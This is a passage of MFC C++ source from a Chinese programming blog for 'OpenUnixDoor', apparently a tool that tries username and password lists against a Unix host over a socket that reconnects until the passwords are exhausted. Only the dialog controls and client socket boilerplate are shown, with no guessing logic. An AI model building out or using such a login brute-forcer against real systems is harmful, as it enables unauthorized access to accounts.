 GetDlgItem(IDC_ET_HOSTNAME)->EnableWindow(FALSE);

 GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);
 GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
 GetDlgItem(IDC_CHECK_USER)->EnableWindow(FALSE);
 GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);

 GetDlgItem(IDC_COMBO_PASS)->EnableWindow(FALSE);
 GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
 GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
 GetDlgItem(IDC_ET_PASSCOUNT)->EnableWindow(FALSE);
 GetDlgItem(IDC_SPIN_PASS)->EnableWindow(FALSE);

 GetDlgItem(IDC_BT_BEGIN)->EnableWindow(FALSE);

}
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg dialog
… …
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg message handlers

int CHelpDlg::DoModal()
{
 return CDialog::DoModal();
}

BOOL CHelpDlg::OnInitDialog()
{
 CDialog::OnInitDialog();
 
 CString strHelp;
 strHelp.LoadString(IDS_HELP);
 m_Edit_HelpCtr.ReplaceSel(strHelp.operator LPCTSTR());
 return TRUE;  // return TRUE unless you set the focus to a control
}

void CHelpDlg::OnBtMypro()
{
 CAboutDlg dlg;
 dlg.DoModal();
}

 

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// ClientSocket.h : header file
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor  Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/


class COpenUnixDoorDlg;
class CClientSocket : public CAsyncSocket
{
… …
public:
 CClientSocket(COpenUnixDoorDlg *pDlg);
 virtual ~CClientSocket();

// Overrides
public:
 COpenUnixDoorDlg *lpDlg;
 // ClassWizard generated virtual function overrides
 //{{AFX_VIRTUAL(CClientSocket)
 public:
 virtual void OnClose(int nErrorCode);
 virtual void OnOutOfBandData(int nErrorCode);
 virtual void OnReceive(int nErrorCode);
 virtual void OnSend(int nErrorCode);
 //}}AFX_VIRTUAL

 // Generated message map functions
 //{{AFX_MSG(CClientSocket)
  // NOTE - the ClassWizard will add and remove member functions here.
 //}}AFX_MSG

// Implementation
protected:
};

 

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// ClientSocket.cpp
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor  Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/

#include "stdafx.h"
#include "OpenUnixDoor.h"
#include "ClientSocket.h"
#include "OpenUnixDoorDlg.h"

CClientSocket::CClientSocket(COpenUnixDoorDlg *pDlg)
{
 lpDlg=pDlg;
}

void CClientSocket::OnClose(int nErrorCode)
{
 CAsyncSocket::OnClose(nErrorCode);
 if(lpDlg->bPassFinished)lpDlg->CloseSocket();
 //else if(lpDlg->bIsStop)return ;
 else lpDlg->ReConnect();
}

void CClientSocket::OnOutOfBandData(int nErrorCode)
{
 CAsyncSocket::OnOutOfBandData(nErrorCode);
}

void CClientSocket::OnReceive(int nErrorCode)
{
 lpDlg->ReceiveData(this);
}

void CClientSocket::OnSend(int nErrorCode)
{
 CAsyncSocket::OnSend(nErrorCode);
}

阅读(2769) | 评论(0)


版权声明：编程爱好者网站为此博客服务提供商，如本文牵涉到版权问题，编程爱好者网站不承担相关责任，如有版权问题请直接与本文作者联系解决。谢谢！

评论

暂无评论
您需要登录后才能评论，请 登录 或者 注册